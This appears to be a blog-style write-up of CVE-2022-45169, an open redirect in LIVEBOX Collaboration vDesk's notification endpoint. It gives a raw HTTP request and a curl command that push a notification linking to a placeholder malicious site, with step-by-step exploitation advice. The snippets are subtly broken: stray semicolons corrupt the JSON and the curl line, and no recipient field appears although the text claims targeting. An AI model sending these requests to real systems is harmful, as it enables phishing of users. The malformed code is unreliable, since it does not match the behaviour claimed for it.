A security vulnerability, identified as CVE-2022-45169, has been discovered in LIVEBOX Collaboration vDesk (versions up to v031). This vulnerability allows for a URL redirection to an untrusted site (Open Redirect) under the /api/v1/notification/createnotification endpoint. As an authenticated user, you can send an arbitrary push notification to any other user of the system. This push notification can include an (invisible) clickable link. This vulnerability post will provide code snippets, references to original sources, and exploit details in simple American English.

Vulnerability Details

The vulnerability exists in the /api/v1/notification/createnotification endpoint within the LIVEBOX Collaboration vDesk application. The endpoint allows authenticated users to create push notifications with embedded clickable links. Due to a lack of validation and filtering, the endpoint can be manipulated to redirect users to malicious websites. This opens a potential gateway for further social engineering or phishing attacks on the targeted user.

For example, the following code snippet demonstrates the exploited endpoint

POST /api/v1/notification/createnotification HTTP/1.1 Host: example.com Content-Type: application/json Authorization: Bearer usertoken { "title": "New Document Shared", "message": "You have a new document shared with you", "url": "http://malicious-site.com" ;}

In this code snippet, the user crafted url parameter, containing a link to the malicious website. This URL is embedded within the push notification that is sent to the targeted user.

Exploiting the Vulnerability

To exploit CVE-2022-45169, you must first authenticate as a user within the LIVEBOX Collaboration vDesk system. Once authenticated, you can use various tools such as curl, Postman, or Burp Suite to craft the malicious push notification containing the untrusted link.

An example exploit using curl may look like the following

curl -X POST "https://example.com/api/v1/notification/createnotification"; \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer usertoken" \
  -d '{ "title": "New Document Shared", "message": "You have a new document shared with you", "url": "http://malicious-site.com" }'

This exploit will send a push notification to any specified user, containing the malicious URL embedded within.
